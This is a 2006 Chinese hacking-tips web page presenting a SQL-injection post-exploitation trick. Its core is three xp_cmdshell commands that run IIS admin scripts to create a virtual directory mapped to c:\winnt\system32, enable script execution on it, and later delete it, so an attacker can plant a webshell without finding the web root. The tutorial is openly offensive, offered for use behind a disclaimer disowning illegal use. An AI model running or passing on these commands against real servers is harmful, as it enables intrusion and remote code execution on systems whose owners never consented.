|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
您现在的位置： ChinaBeta.cn 中文IT资讯 >> 网络安全 >> 编译|破解 >> HACK技术正文
sql注入绝技－－建立虚拟目录
Www.ChinaBeta.Cn 更新时间：2006-8-1

【ChinaBeta.Cn 网络安全】
sql注入建立虚拟目录，免得找web绝对路径
----------------------------------------------------------------
我们很多情况下都遇到sql注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错：

exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虚拟目录win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
让win句有解析asp脚本权限

exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
删除虚拟目录。
找不到web绝对路径的一种解决办法，
http://xxx.com/win
403错误，表示虚拟目录建好了。。。
Google

（责任编辑：hahack）

注：本站所有资料均为个人爱好与广大网友分享！如用于非法！造成一切后果自负·与本站无关！
【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
热门文章 相关报道
普通HACK技术 [警戒公告]php My Admin工具中sort_by参数远… (09-22)最新HACK技术
普通HACK技术 [警戒公告]Landesk QIP Server服务 Heal报文… (09-22)最新HACK技术
普通HACK技术 [警戒公告]Windows操作系统SMB WRITE_ANDX处… (09-22)最新HACK技术
普通HACK技术 [菜鸟入门]三方法 杜绝企业网络安全管理系统… (09-03)
普通HACK技术 [菜鸟入门]掌握术语 分清电脑安全漏洞的危险… (09-03)
普通HACK技术 [编译|破解]Friendly Technologies fwRemote… (09-03)
普通HACK技术 [编译|破解]虚拟PC软件VMware2008-0014更新修… (09-03)
普通HACK技术 [菜鸟入门]三种方法 让你的交换机和路由器更… (09-02)
普通HACK技术 [编译|破解]Red Hat目录服务器LDAP请求内存泄… (09-02)
普通HACK技术 [菜鸟入门]消除隐患 创建计算机安全密码三大… (08-29)
  • 实例讲解如何处理ARP伪装攻…

  • 小心遭遇来自半路的遭劫　中…

  • 从Unix到黑客入门的探索及其…

  • 黑客攻击常见方法及安全策略…

  • 黑客经验交流技巧篇之防注入…

  • WINDOWS的钩子函数知识与汇…

  • 要小心防范 木马是这样伪装…

  • 杀毒软件实时杀毒的奥秘(vx…

  • 通过卫星传输数据也不安全

  • 怎样编写自己的信箱监视程序

    		•
    　　网友评论内容：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）
    I D： *
    邮 箱：
    主 页：
    评 分： 1分 2分 3分 4分 5分
    评 论：

    关于我们  中国·国家信息产业部{粤ICP备06006652号}{陇ICP备06002562号}
    版权所有：『AK网盟基地』站长：Hahack | QQ：80505955 | E-mail:Hahack@Gmail.com
    Copyright (C) 2005-2007  akhack.org|chinabeta.cn All Rights Reserved